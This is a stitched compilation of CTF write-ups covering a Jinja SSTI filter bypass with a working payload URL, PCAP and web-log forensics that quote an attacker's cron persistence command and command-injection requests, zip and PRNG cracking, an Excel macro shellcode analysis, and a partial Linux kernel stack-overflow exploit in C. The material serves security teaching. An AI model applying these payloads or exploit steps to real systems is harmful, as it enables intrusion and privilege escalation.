"v": "141-1-16-4-1-1", "w": "141-1-16-4-1", "x": "141-1-16-4", "y": "141-1-16-1-1-1", "z": "141-1-16-1-1", ".": "46", "_": "111-14-1-1", "\"":"41-6-1", "(":"41-1", ")":"41", "/":"61-14", ",":"44"} """for i,j in formulas.items(): print(i,chr(eval(j)))"""pld = """"1"+open('/flag').read()""" str = ""for char in pld: if char in allowlist: str+=char + "+" else: str+=chrify(formulas[char]) + "+" str = str.replace('+', '%2b') print(f"({str[:-1]})|e") ``` ```pythonmorph3 ➜ damctf-ssti-challenge/ λ python3 solver.py("%2b1%2b"%2b%2b%2bo%2b(111%2b1)|ch%2be%2b(111-1)|ch%2b(%2b'%2b(61-14)|ch%2b(116-14)|ch%2bl%2b(111-14)|ch%2b(114-11)|ch%2b'%2b)%2b(46)|ch%2br%2be%2b(111-14)|ch%2bd%2b(%2b)%2)|e``` There is also a character limit as well. Lovely.![](https://i.imgur.com/gNtOnlP.png) Looking into it, some of the allowed characters are not concatenated well. Let's fix it.```python('"1"+o'+(111+1)|ch+'e'+(111-1)|ch+"('"+(61-14)|ch+(116-14)|ch+"l"+(111-14)|ch+(114-11)|ch+"')"+(46)|ch+"re"+(111-14)|ch+"d()")|e``` https://super-secure-translation-implementation.chals.damctf.xyz/secure_translate/?payload={{%28%27%221%22%2Bo%27%2B%28111%2B1%29%7Cch%2B%27e%27%2B%28111%2D1%29%7Cch%2B%22%28%27%22%2B%2861%2D14%29%7Cch%2B%28116%2D14%29%7Cch%2B%22l%22%2B%28111%2D14%29%7Cch%2B%28114%2D11%29%7Cch%2B%22%27%29%22%2B%2846%29%7Cch%2B%22re%22%2B%28111%2D14%29%7Cch%2B%22d%28%29%22%29%7Ce}} ![](https://i.imgur.com/stGfYqJ.png) Executed payload, ```python"1"+open('/flag').read()``` `dam{p4infu1_all0wl1st_w3ll_don3}`
# Persistence Pays Off![Category](http://img.shields.io/badge/Category-Traffic_Analysis-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-100-brightgreen?style=for-the-badge) ## Details>Luciafer might have just bit off more than she can chew! She has encountered an adversary that is counter-attacking her system!> >Luciafer's Lytton Labs adversary executed a command to attain persistence on her computer. This command will allow the adversary to regain a connection to her computer again later, even if she reboots it.> > What is the packet number where this command is executed. For example: `flag{93721}`.> > Use the PCAP file from Monstrum ex Machina.--- We'll start the point where Luciafer downloaded the `Secret-decoder.bin` file, by filtering for `ftp-data` and locating the packet. ![image](https://user-images.githubusercontent.com/73170900/137892623-838996d1-5188-44d1-8bbd-f48a91ab507a.png) Then, when we clear the `ftp-data` filter we will still have the same packet selected in the packet capture file. Now if we start scrolling through the packets below this, we can see what happened after the file was downloaded. Not too much further down at packet number `160404` we can see some `TCP` packets. ![image](https://user-images.githubusercontent.com/73170900/137893318-69e08c0b-a763-43a9-b0b3-f8dbde61d2ab.png) If we select the first one and `follow the TCP stream` we see a whole bunch of commands being run; ![image](https://user-images.githubusercontent.com/73170900/137893423-e9db9c1b-eab8-4344-b97e-b044428d3717.png) In particular we can see the following line where the attacker a cron job is being created to ensure the ll-connect.bin file is launched! ```sudo /bin/bash -c "echo '*/5 * * * * root /usr/bin/ll-connect.bin' > /etc/cron.d/da-ll-backup-job"``` Closing the TCP stream, we can see this happening in packet number `160468` ![image](https://user-images.githubusercontent.com/73170900/137893762-9b1fb949-36a3-477a-bfb7-fdd6ad9d8e80.png) Therfore our flag is; ## flag{160468}
# rev/seed Author: m0x ## Description ```Having a non-weak seed when generating "random" numbers is super important! Can you figure out what is wrong with this PRNG implementation? seed.py is the Python script used to generate the flag for this challenge. log.txt is the output from the script when the flag was generated. What is the flag?``` Downloads: `seed.py` `log.txt` ## Analysis `seed.py` generated the flag by creating a bunch of sha256 hashes in a loop and then writing out the one with `b9ff3ebf` in the string as the flag: ```python3def seed(): return round(time.time()) def hash(text): return hashlib.sha256(str(text).encode()).hexdigest() def main(): while True: s = seed() random.seed(s, version=2) x = random.random() flag = hash(x) if 'b9ff3ebf' in flag: with open("./flag", "w") as f: f.write(f"dam{{{flag}}}") f.close() break print(f"Incorrect: {x}") print("Good job <3") if __name__ == "__main__": sys.exit(main())``` This is what happened when the author ran the script: ```$ cat log.txt Incorrect: 0.3322089622063289Incorrect: 0.10859805708337256Incorrect: 0.39751456956943265Incorrect: 0.6194981263678604Incorrect: 0.32054505821893853Incorrect: 0.2674908181379442Incorrect: 0.5379388350878211Incorrect: 0.7799698997586163Incorrect: 0.6893538761284775Incorrect: 0.7171513961367021Incorrect: 0.29362186264112344Incorrect: 0.06571100672753238Incorrect: 0.9607588522085679Incorrect: 0.33534977507836194Incorrect: 0.07384192274198853Incorrect: 0.1448081453121044Good job <3``` The problem with this, is the seed is based on time and rounded to the nearest integer: ```python3def seed(): return round(time.time())``` ## Solution Since our current time is later than when the author ran it, we just have to make a minor change to that script to start the seed with the current time, and decrement the seed each iteration until we find one that generates the flag: ```$ diff seed.py solve.py14,15c14,16< while True:< s = seed()---> s = seed()> while s > 0:> s = s - 1``` ```$ python3 ./solve.py...$ cat flag dam{f6f73f022249b67e0ff840c8635d95812bbb5437170464863eda8ba2b9ff3ebf}```
**Description**: A high-profile customer received an email with an XLSM attachment. They inadvertently doubled clicked it and it was executed on their machine. Could you help tell them what happened to their machine?! **Points**: 200 **Downloadable**:attachment.xlsm - Macro Enabled Excel Spreadsheet **Goal**: To understand malicious code, reverse it and get a flag **Solution**: First, we look at the excel attachment. It is a typical Macro 4.0 lure. Yo see the malicious macro code we need to "unhide" a hidden macro-sheet: [Unhide Macro Sheet](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/Misc/Keep%20Safe/writeup/unhide.PNG) [Malicious code](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/Misc/Keep%20Safe/writeup/injected_shellcode.PNG) We can see that it is using a pretty well-known technique of injecting shellcode into excel.exe memory by registering and using the following API calls: * VirtuallAlloc * WriteProcessMemory * CreateThread It has the shellcode stored directly in Excel cells on the right (both 32 and 64 bit, depending on Excel running process version that is checked in the macro by calling `GET.WORKSPACE(1)` ) When we enable the content, the macro will run. Before that happens we should turn on our favorite debugger (I chose x86dbg ) and attach it to the EXCEL process. We can set breakpoints on VirtuallAlloc and WriteProcessMemory calls and we should be able to spot a shellcode being written into the memory: [Shellcode injection](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/Misc/Keep%20Safe/writeup/shellcode.png) We can set a breakpoint in this shellcode and start analyzing it. We will soon spot there is a second encryption layer, that decrypts the rest of the shellcode with simple xor: [First decryption loop](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/Misc/Keep%20Safe/writeup/decryption1.png) After decryption, the shellcode will jump to stage 2 where it will call VirtuallAlloc again at some point: [Second Alloc](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/Misc/Keep%20Safe/writeup/virtualalloc2.png) After that it will write some other encrypted data to this memory, and decrypt it in the next function call: [Decrypted Payload](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/Misc/Keep%20Safe/writeup/decrypted_dotnet.png) After the memory is decrypted we can drop it to the disk from our memory window or directly from the dump. It will contain a .NET binary at some offset, we can get it with a tool of our choosing (I used simple binwalk). After we dump the binary to the disk, we can open it in dnSpy. Code is not obfuscated so our task is easy. We can see that binary is first displaying a Message Box with the text "Take your time !" and then it is constructing a flag by appending `INTENT{The_flag_is_` to a 4-letter string created by O(n^4) bruteforce algorithm in quadruple for loop and then comparing it to a hardcoded SHA-256 hash. This kind of algorithm of course takes some time to find a correct flag, hence the "take your time" hint. After the flag is found, it is sent as a "ContentType" header to a host `http://google.co:5000`. This means the flag could be found without any reversing but just by setting a packet sniffing in the background and waiting for a few minutes. That's probably why this task was in the category "Misc" [Final payload](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/Misc/Keep%20Safe/writeup/dotnet_flag.PNG)
# Scanners![Category](http://img.shields.io/badge/Category-Traffic_Analysis-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-100-brightgreen?style=for-the-badge) ## Details>Luciafer started the hack of the Lytton Labs victim by performing a port scan.>>Which TCP ports are open on the victim's machine? Enter the flag as the open ports, separated by commas, no spaces, in numerical order. Disregard port numbers >= 16384.> > Example: `flag{80,110,111,143,443,2049}`> > Use the PCAP from LYTTON LABS 01 - Monstrum ex Machina.--- From our previous examinations of the PCAP file we know that the Victim's PC is using the IP address `192.168.100.103` And that Luciafer's PC is using the IP Address `192.168.100.106`.We can use the following filter to find traffic between thos IP addresses`((ip.src == 192.168.100.103) || (ip.dst == 192.168.100.106)) && ((ip.dst == 192.168.100.103) || (ip.dst == 192.168.100.106))` ![image](https://user-images.githubusercontent.com/73170900/137887708-d4de1951-feaf-421f-a691-d63df9cc84da.png) Scrolling through the data we see traffic on many different ports. ![image](https://user-images.githubusercontent.com/73170900/137885534-8ddd29f2-3350-4bdb-9ff0-a0e1b3dee0e0.png) In this screenshot, the red packets are ones where the port is closed, the grey packets we can see show the victims PC responding to the port scan to say that the port is open! Taking a closer look at one of open port responses we can see; ![image](https://user-images.githubusercontent.com/73170900/137886001-a7c6c7e4-9c9d-4d2b-95ab-5c299a959a3e.png) Note the `Flags: 0x012 (SYN,ACK)` We can add a filter for this flag like so `tcp.flags == 0x012` . We change our previous filter to olny show the SYN,ACK responses from the Victims PC sent to Luciafer's PC/ `(ip.src == 192.168.100.103) && (ip.dst == 192.168.100.106) && (tcp.flags == 0x012)` Then if we sort by the info column, we can scroll down and find all the open ports below 16384; ![image](https://user-images.githubusercontent.com/73170900/137886697-5eb97c4d-6630-4d45-b97f-5678f9574fbe.png) These ports are `21, 135, 139, 445 and 3389` ## flag{21,135,139,445,3389}
## Part 1 - Ingress Category: Log AnalysisPoints: 100Description: >Our website was hacked recently and the attackers completely ransomwared our server! We've recovered it now, but we don't want it to happen again. Here are the logs from before the attack, can you find out what happened? ---We get to download a file: attack.7z - 55db32 When we extract it we see a log file with a large amount of data: ![](images/20211010201520.png) There are about 38000 lines of data. In order to sort them more effectively I opened the file in LibreOffice Calc. Looking at the sheets, we can see that one of the fields is `cs-uri-stem`. I filtered on this and quickly checked through the files, in order to remove any duplicates. When I got to the bottom, there were some strange lines utilising Linux commands from possibly some type of web based attack. ![](images/20211010202021.png) If we remove the bottom command through to cat we actually get what appears to be a base64 text.`cmd%3Dcat+RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ==` Using GCHQ Cyberchef, we get the flag. FLAG:DO{better_remove_that_backdoor} ## Part 2 - Investigation Category: Log AnalysisPoints: 150Description: >Thanks for finding the RFI vulnerability in our FAQ. We have fixed it now, but we don't understand how the attacker found it so quickly. >We suspect it might be an inside job, but maybe they got the source another way. Here are the logs for the month prior to the attack, can you see anything suspicious?>Please submit the attackers IP as the flag as follow, DO{x.x.x.x} ---We get to download a file: more.7z - c62a3a When we extract it we see another similar log file with an even larger amount of data: ![](images/20211010201520.png) This time there are about 191000 lines of data. Now, I may not have used the correct method for capturing the flag but knowing that the attacker was using a specific text type; in this case base64 for `DO{` I did a search for RE97. This came up with one hit. ![](images/20211010203528.png) Now we have the IP address. FLAG:DO{45.85.1.176} ## Part 3 - Backup Policy Category: Log AnalysisPoints: 200Description: >So it looks like the attacker scanned our site for old backups right? Did he get one? ---We get to download a file: more.7z - c62a3a (same as before) Reviewing the file and filtering the `cs-uri-stem`again, this time with the search 'backup.'We note there are 73 of 191617 records. If we then look in the `time-taken` field we can see that it reports the actual webpage response codes with are either 404 (file not found) or 200 (success status). Checking for successful access we find one. ![](images/20211010204417.png) Using CyberChef again with `RE97czNjcjN0X19fYWdlbnR9` gives us the final flag. FLAG:DO{s3cr3t___agent}
Generate two LZ4 strings of with same MD5 hash but different decompressed lengths with HashClash/UniColl. Use these for bufferoverflow. Details in full version :)
We're initally provided with a `Ghost_Cracker.zip` file, and find that its files are encrypted with a password. Running `zip2john` to extract the files' hashes and then using `john` with the `rockyou` wordlist on the hashfile, we find that the zip's password is `Password123`; extracting it gives us two files, `Locked Door.zip` and `The House.gif`. Trying to do the same set of steps with this new zip file fails, i.e. cracking with `john` and `rockyou`. Examing the .gif file with `strings` shows it has at the very end of the file hidden the string `mediumfuzz`. Taking this as a hint, we look at the wordlists provided by a default Kali Linux install, and find `medium.txt` under a `wfuzz` directory. Again using `john` but with this new wordlist, we discover the password to this zip, `mqseries`, and get two new files, `The Room.jpg` and `Bones.zip`. Same steps, running `strings` on the image gives us the phrase `wewillwewillrockyou`, so we use `rockyou` again, and find the password `wrrarb88`, and get two more files, `The Skeleton.png` and `ghostsighting.zip`. The image contains the string `hopethisplacehaswifi`, so we use the `fern-wifi/common.txt` wordlist, which gives us the password `xdfk9874t3`, and extracting gives us one final file, `ghostprotocolgreen.png`. Running `strings` on this gives us the flag, `DO{crackingmakesmefeelgood}`.
# Easy Kernel## Challenge description ### Title: Easy kernel is still kernel right?### Points worth: \~450### Description If you have never done kernel pwn before, check out this: https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/ nc ctf.k3rn3l4rmy.com 1003 ## Downloadable parthttps://ctf.k3rn3l4rmy.com/kernelctf-distribution-challs/easy_kernel/easy_kernel.tar.gz Also available in the git repo. ## Write-up From the title it is clear this is going to be a kernel exploitation challenge. Since this was my first ever attempt to learn kernel exploitation, I started by reading the blog post mentioned in the description above, and hereon I will refer to it as "the blog post". ### Analyzing what's given to us In the zip file, we are given a ton of things, so let's go over them one by one. ```bash$ tar -tvf easy_kernel.tar.gz-rw-rw-r-- seal/seal 9037184 2021-11-12 05:11 bzImagedrwxrwxr-x seal/seal 0 2021-11-12 05:11 fs/ ...<fs files redacted>...-rw-rw-r-- seal/seal 1528343 2021-11-12 05:11 initramfs.cpio.gz-rwxrwxr-x seal/seal 273 2021-11-12 05:11 launch_pow.sh-rwxrwxr-x seal/seal 343 2021-11-12 05:11 launch.sh-rwxrwxr-x seal/seal 107 2021-11-12 05:11 rebuild_fs.sh-rw-rw-r-- seal/seal 285344 2021-11-12 05:11 vuln.ko``` Borrowing from the blog post: 1. `bzImage` is the compressed Linux kernel, which can be extracted to an ELF file called `vmlinux`.2. The `fs` directory is the extracted filesystem of the device.3. `initramfs.cpio.gz` is the filesystem of the device, compressed using `cpio` and `gzip`. This is the actual file that is used when emulating the machine.4. The `launch_pow.sh` is a shell script which is run on the remote server and asks us to run a `hashcash` command so as to prevent DOS attacks. On successfull verification, it then executes the `launch.sh` script, which starts the `QEMU` emulator with the given kernel image and compressed filesystem.5. `rebuild_fs.sh` is a script provided for our convenience, and it compresses the `fs` directory and stores it into the `initramfs.cpio.gz` file, allowing us to make changes to the filesystem.6. And lastly, we have `vuln.ko`, which is a kernel module file. This is most probably the place where the vulnerability lies in. After this, the first thing to do is extract the `vmlinux` ELF file from `bzImage` for debugging purposes and ROP gadgets. For this I used the `extract-image.sh` script that's included in this git repo, taken directly from the blog. ```bash$ ./extract-image.sh ./bzImage > vmlinux``` We may require some gadgets in the next sections so it is better to run `ROPgadget` now since it'll take a lot of time. ```bash$ ROPgadget --binary ./vmlinux > gadgets.txt``` NOTE: Using `ropper` here failed for me. It always stopped at 96% loading and hanged there, and I have no clue as to why. ### Taking a look at the filesystem In the fs directory, we see the usual directories along with a `flag.txt` containing a dummy flag for local exploitation purposes and the `vuln.ko` module, but the thing of interest here is the `init` script, as it gives us information about the target environment. init:```bashmount -t proc none /procmount -t sysfs none /sysmount -t 9p -o trans=virtio,version=9p2000.L,nosuid hostshare /home/ctf insmod /vuln.ko chown root /flag.txtchmod 700 /flag.txt exec su -l ctf/bin/sh``` This script mounts some necessary directories and also mounts a share named "hostshare" to /home/ctf, which will enable us to test our exploit without having to rebuild the filesystem and reboot the image. It then insertes the `vuln.ko` module into the kernel using `insmod` command, and makes the flag only readable by root. One thing to do here is to comment out the `exec ...` command as when developing and debugging the exloit we will need some information which is only readable by the root user. After making the change we'll have to rebuild the filesystem, so `./rebuild_fs.sh`. ### launch.sh The launch script is: ```bashSCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )" timeout --foreground 180 /usr/bin/qemu-system-x86_64 \ -m 64M \ -cpu kvm64,+smep,+smap \ -kernel $SCRIPT_DIR/bzImage \ -initrd $SCRIPT_DIR/initramfs.cpio.gz \ -nographic \ -monitor none \ -append "console=ttyS0 kaslr quiet panic=1" \ -no-reboot``` This script runs the image for 180 seconds or 3 minutes, after which it kills `QEMU`, so we remove the `timeout`. Another important detail is that all protections are enabled, namely `stack canaries`, `smep`, `smap`, `kpti` and `kaslr`. I first disabled all these protections (excluding the canaries) and developed the first version of the exploit, then gradually added more mitigations, which is how I am going to walk through the writeup. The modified script is: ```bash/usr/bin/qemu-system-x86_64 \ -m 64M \ -cpu kvm64 \ -kernel ./bzImage \ -initrd ./initramfs.cpio.gz \ -nographic \ -monitor none \ -append "console=ttyS0 nokaslr nopti nosmep nosmap quiet panic=1" \ -no-reboot \ -fsdev local,security_model=passthrough,id=fsdev0,path=./share -device virtio-9p-pci,id=fs0,fsdev=fsdev0,mount_tag=hostshare \ -s``` The `fsdev` and `device` options create a share named "hostshare" for the emulator which is just a folder named "share" in the current directory (make sure to create the folder). The `-s` flag makes the kernel available for debugging at localhost port 1234.Running the `launch.sh` script now would launch the emulator, and we're good to start finding the vulnerability. ### Analyzing vuln.ko Now we get to finding the vulnerability. I'm going to be using ghidra, but you can use any tool you want (binary ninja/IDA/hopper/etc). The entry point is not `main` but `init_func`, so we start by analyzing that. ![image](https://user-images.githubusercontent.com/70465008/142235511-2c958d9d-f535-4bb3-a506-34da11321fc0.png) The function creates a device named "pwn_device" in `/proc`, and passes the options of fops. It then prints to the logs a success message using printk. ```bash$ ls /proc | grep pwnpwn_device``` `fops` contains the options, a list of functions which are to be called when certain events occur. ![image](https://user-images.githubusercontent.com/70465008/142236174-5a8562d1-5663-4192-9d8b-89cd88ab8e46.png) 1. `sopen` -> called on opening pwn_device2. `srelease` -> called on closing the device3. `sread` -> called on reading from the device4. `swrite` -> called on writing to the device5. `sioctl` -> called when we call `ioctl` on the device The `sopen` and `srelease` functions just print log messages, so we pay attention to the `sread`, `swrite` and `sioctl` functions. sread: ```c/*param_1 -> fdparam_2 -> bufferparam_3 -> count*/undefined8 sread(undefined8 param_1,undefined8 param_2,undefined8 param_3) { int iVar1; long in_GS_OFFSET; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined2 local_70; long local_10; local_10 = *(long *)(in_GS_OFFSET + 0x28); // Canary // Forms string: Welcome to this kernel pwn series local_90 = 0x20656d6f636c6557; local_88 = 0x2073696874206f74; local_80 = 0x70206c656e72656b; local_78 = 0x6569726573206e77; local_70 = 0x73; // copy_user_generic_unrolled returns 0 on success iVar1 = copy_user_generic_unrolled(param_2,&local_90); if (iVar1 == 0) { printk(&DAT_001002bf,param_3); // logs number of bytes read } else { param_3 = 0xfffffffffffffff2; } // verify stack canary if (local_10 == *(long *)(in_GS_OFFSET + 0x28)) { return param_3; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}``` On the surface, this function seems safe, but when trying to search for the `copy_user_generic_unrolled` function, we find that it actually takes 3 arguments but ghidra is only showing 2 (Source: https://elixir.bootlin.com/linux/latest/source/arch/x86/lib/copy_user_64.S#L44) The first argument it takes is in `rdi` which should be the destination, and looking at the disassembly we see a `mov rdi,rsi` right at the top, which moves the address of buffer into `rdi`. The second argument it takes is the source, which is passed in through `rsi`, and since the string is formed on stack, `rsi` is set to `rsp`. The third argument is what is not shown in ghidra, which is the number of bytes to copy into destination, and this is stored in the `rdx` register. Looking at the disassembly we don't see any instrution that modifies the `rdx` register, and the only place it is set would be when passing the count argument to `read`. This means we control the number of bytes read from the destination. Notice the vulnerability? We have the ability to freely read the stack after the string, using which we should be able to leak memory addresses and the stack canary. Next, we take a look at the swrite function: ```c/*param_1 -> fdparam_2 -> bufferparam_3 -> count*/ulong swrite(undefined8 param_1,undefined8 param_2,ulong param_3) { int iVar1; long in_GS_OFFSET; undefined auStack144 [128]; long local_10; local_10 = *(long *)(in_GS_OFFSET + 0x28); // Canary // MaxBuffer is a global variable, set to 0x40 if ((ulong)(long)MaxBuffer < param_3) { // If we try to write more bytes than mention in MaxBuffer // print size is too large printk(&DAT_001002e8); param_3 = 0xfffffffffffffff2; } else { // copy_user_generic_unrolled returns 0 on success iVar1 = copy_user_generic_unrolled(auStack144); if (iVar1 == 0) { printk(&DAT_00100310,param_3); // successfully written n bytes } else { param_3 = 0xfffffffffffffff2; } } // verify stack canary if (local_10 == *(long *)(in_GS_OFFSET + 0x28)) { return param_3; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}``` We are shown only 1 argument in the `copy_user_generic_unrolled`, which is `rdi` and that is set to the stack variable. The other parameters are not changed, so what we pass in is copied to the stack variable, and the only condition is that number of bytes to be written should be less than or equal to the `MaxBuffer`. Since the variable is 128 bytes long and `MaxBuffer` is 0x40 or 64 bytes long, this function is secure (for now). The sioctl function: ```clong sioctl(file *file,uint cmd,ulong arg) { printk(&DAT_00100282); // logs ioctl called if (cmd == 0x10) { printk(&DAT_00100292,arg); // logs the argument passed to it } else { if (cmd == 0x20) { MaxBuffer = (int)arg; // set MaxBuffer to OUR ARGUMENT } else { printk(&DAT_001002a8); // invalid command } } return 0;}``` The vulnerability is quite clear. We have the ability to control `MaxBuffer`, so if we make it >128, we have a stack-based buffer overflow, and should be able to easily overwrite the return address. ### Exploitation Now we get to the exploitation part. For now, only stack canaries are enabled, so the attack plan is as follows: 1. Leak the stack canary using `sread`2. Use `ioctl` to change `MaxBuffer`3. Use `swrite` to change the return address without changing the canary With that, let's start writing the exploit. First, we need to open the device:```cint fd; void open_device(void) { puts("[*] Opening pwn_device"); fd = open("/proc/pwn_device", O_RDWR); if (fd < 0) { puts("[!] Failed to open device"); exit(-1); } printf("[+] Device opened successfully, fd: %d\n", fd);} ``` and also close it: ```cvoid close_device(void) { if(close(fd) == -1) { puts("[!] Error closing the device"); exit(-1); } puts("[+] Device closed");}``` I also created a `Makefile` to speed up compiling and copying process```Makefileall: gcc exploit.c -static -o ./share/exploit ``` NOTE: I kept the static option as there are some parts of the exploit that require fixed addresses. I think the exploit will also work if we remove the static option and disable PIE, but since this was how it was done in the blog post, I decided to keep it that way. Next we leak the stack: ```cvoid leak_stack(void) { unsigned long leak[20]; read(fd, leak, sizeof(leak)); for(int i = 0; i<=20; i++) { printf("[*] leak[%d] = 0x%lx\n", i, leak[i]); }}``` for now, the main function looks like this: ```cint main(){ open_device(); leak_stack(); close_device();}``` Compile with `make` and then run the program: ```bash$ cd /home/ctf//home/ctf $ ./exploit[*] Opening pwn_device[ 7.588380] Device opened[+] Device opened successfully, fd: 3[ 7.596841] 160 bytes read from device[*] leak[0] = 0x20656d6f636c6557[*] leak[1] = 0x2073696874206f74[*] leak[2] = 0x70206c656e72656b[*] leak[3] = 0x6569726573206e77[*] leak[4] = 0xffff888000120073[*] leak[5] = 0x200000359c050[*] leak[6] = 0xffff888000126b10[*] leak[7] = 0x100020000[*] leak[8] = 0x0[*] leak[9] = 0xffff888000000000[*] leak[10] = 0x0[*] leak[11] = 0x0[*] leak[12] = 0x0[*] leak[13] = 0x0[*] leak[14] = 0xf8463eed2f54f400[*] leak[15] = 0xa0[*] leak[16] = 0xf8463eed2f54f400[*] leak[17] = 0xa0[*] leak[18] = 0xffffffff8123e347[*] leak[19] = 0x1[*] leak[20] = 0x402c30[ 7.615224] All device's closed[+] Device closed``` We have a leak! On running the exploit multiple times, you'll notice that offset 14 and 16 are some random bytes that end with a null byte. My guess was that this is the stack canary, and it was correct. So we can now store the canary for later use. Modified `leak_stack`: ```cunsigned long canary; void leak_stack(void) { unsigned long leak[20]; read(fd, leak, sizeof(leak)); // for(int i = 0; i<=20; i++) { // printf("[*] leak[%d] = 0x%lx\n", i, leak[i]); // } canary = leak[16]; printf("[+] Stack canary: 0x%lx\n", canary);}``` NOTE: Both offsets 14 and 16 contain the canary, but I used offset 16 since sometimes at 14 the canary was not present but at 16 it always is. Now we need to use `ioctl` to change the `MaxBuffer`: `change_max_buffer` : ```cint MaxBuffer = 300; void change_max_buffer(void) { if (ioctl(fd, 0x10, MaxBuffer) == -1) { puts("[!] Error calling ioctl"); exit(-1); } printf("[+] MaxBuffer changed to %d\n", MaxBuffer);}``` The `0x10` command logs the argument, so on running the exploit now you should see something like this: ```bash/home/ctf $ ./exploit[*] Opening pwn_device[ 664.689879] Device opened[+] Device opened successfully, fd: 3[ 664.694031] IOCTL Called[ 664.694610] You passed in: 12c[+] MaxBuffer changed to 300[ 664.696260] All device's closed[+] Device closed``` The `12c` is in hex and in decimal it is equal to 300, so we successfully passed in the correct arguments, now we just need to change the `0x10` to `0x20` and this will change `MaxBuffer` to 300. The last thing is to overwrite the return address, but before that we will need to find the offset. ```cvoid overwrite_return_address(void) { unsigned long payload[10]; payload[0] = 0x4141414141414141; puts("[*] Calling write"); write(fd, payload, sizeof(payload));}``` To find the offset, we will need to debug this with gdb, but before that we need to find the address where the `vuln.ko` module is loaded, which can be done by: ```bash/home/ctf $ cat /proc/modulesvuln 16384 0 - Live 0xffffffffc0000000 (O)``` NOTE: This file is only readable by root, other users will see only null bytes. Then, in gdb we do: NOTE: This is in the host, not in QEMU. ```bash$ gdb ./vmlinuxgdb> target remote localhost:1234gdb> add-symbol-file vuln.ko 0xffffffffc0000000gdb> b swritegdb> cContinuing.``` NOTE: Make sure to use the correct address in the add-symbol-file command. Now when you run the exploit in the emulated machine, gdb will stop at `swrite`. ```bashgdb> b *swrite+96gdb> cContinuing.``` This will break just before the return address, and then we can examine the stack. NOTE: I am using the pwndbg extension. ```bashpwndbg> search "AAAAAAAA"<qemu> 0x401e18 mov qword ptr [rbp - 0x50], rax<qemu> 0x7ffc99c83b50 and r11b, dl /* 0x4141414141414141 */<qemu> 0xffff8880001c1e20 and r11b, dl /* 0x4141414141414141 */<qemu> 0xffff888002ae4e18 mov qword ptr [rbp - 0x50], rax /* 0x4141414141414141 */<qemu> 0xffff888003e7fb50 and r11b, dl /* 0x4141414141414141 */<qemu> 0xffffc900001b7e20 and r11b, dl /* 0x4141414141414141 */<qemu> 0xffffffff82ae4e18 mov qword ptr [rbp - 0x50], rax /* 0x4141414141414141 */pwndbg> p $rsp$1 = (void *) 0xffffc900001b7eb0pwndbg> x/20xg $rsp-0x900xffffc900001b7e20: 0x4141414141414141 0x00000000004ad3200xffffc900001b7e30: 0x0000000000000000 0x00000000004100d20xffffc900001b7e40: 0x00000000004aa0a0 0x00000000004004880xffffc900001b7e50: 0x00007ffc99c83ba0 0x00007ffc99c83ba00xffffc900001b7e60: 0x0000000000402cf0 0x0000000000401e0b0xffffc900001b7e70: 0xffffffffffffff13 0xffffffffc00000010xffffc900001b7e80: 0x0000000000000010 0x00000000000002860xffffc900001b7e90: 0xffffc900001b7ea8 0x00000000000000180xffffc900001b7ea0: 0x4ad957a1202e4700 0x00000000000000500xffffc900001b7eb0: 0xffffffff8123e2e7 0xffff888000126b00pwndbg>``` `0xffffc900001b7e20` is most probably the address of our input buffer, since it is the closest address to `rsp`, and the canary is at `0xffffc900001b7ea0` (you can see what the value of the canary is through the output of the exploit, it calls read before write), which is exactly after the buffer, as it is 128 bytes in size. Now we know the offset to the canary, we can overwrite the values after it without ever modifying the canary itself. `overwrite_return_address`: ```cvoid overwrite_return_address(void) { unsigned long payload[(int)MaxBuffer/8]; unsigned offset = 16; // 128 / 8 payload[offset++] = canary; payload[offset++] = 0x4141414141414141; payload[offset++] = 0x4242424242424242; puts("[*] Calling write"); write(fd, payload, sizeof(payload));}``` Running this, we get a segfault: ```bash/home/ctf $ ./exploit[*] Opening pwn_device[ 134.088838] Device opened[+] Device opened successfully, fd: 3[ 134.098957] 160 bytes read from device[+] Stack canary: 0x13251d6eba2a6000[ 134.100942] IOCTL Called[+] MaxBuffer changed to 300[*] Calling write[ 134.103028] 296 bytes written to device[ 134.103939] general protection fault: 0000 [#2] SMP NOPTI[ 134.105110] CPU: 0 PID: 99 Comm: exploit Tainted: G D W O 5.4.0 #1[ 134.108805] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014[ 134.111076] RIP: 0010:0x4242424242424242[ 134.111540] Code: Bad RIP value.[ 134.111912] RSP: 0018:ffffc900001b7eb8 EFLAGS: 00000282[ 134.112283] RAX: 0000000000000128 RBX: 4141414141414141 RCX: 0000000000000000[ 134.112715] RDX: 0000000000000000 RSI: 0000000000000082 RDI: ffffffff82b120ec[ 134.118996] RBP: ffff888000199840 R08: 6574796220363932 R09: 00000000000001c7[ 134.119634] R10: 74206e6574746972 R11: 656369766564206f R12: fffffffffffffffb[ 134.120140] R13: ffffc900001b7f08 R14: 00007ffc0a460170 R15: 0000000000000000[ 134.120612] FS: 0000000000f69300(0000) GS:ffff888003800000(0000) knlGS:0000000000000000[ 134.121511] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033[ 134.122107] CR2: 000000000040ebd9 CR3: 0000000002cc8000 CR4: 00000000000006f0...<snip>...Segmentation fault``` That means that offset 1 after the canary is the `rbx` which we can set to `0x0` and the second offset is the `rip` so we have control over the execution. At this point, we can use a technique called `ret2usr` to get a shell, but that will fail when we enable the other mitigations, so I will not go over that. If you want to learn about it, check out the blog post given above. ### Enabling SMEP `SMEP` stands for `Supervisor mode execution protection`, and marks all userland pages as non-executable, much like `NX` bit in user binaries. To enable it, edit the `launch.sh` script and remove `nosmep` and also add `+smep` to `-cpu` options as `-cpu kvm64,+smep`. To bypass that, we will need to ROP in the kernel. Our goal is to get a root shell, and this is typically done by calling `commit_creds(prepare_kernel_cred(0))`, which gives us root privileges, after which we can return to the userland and spawn a 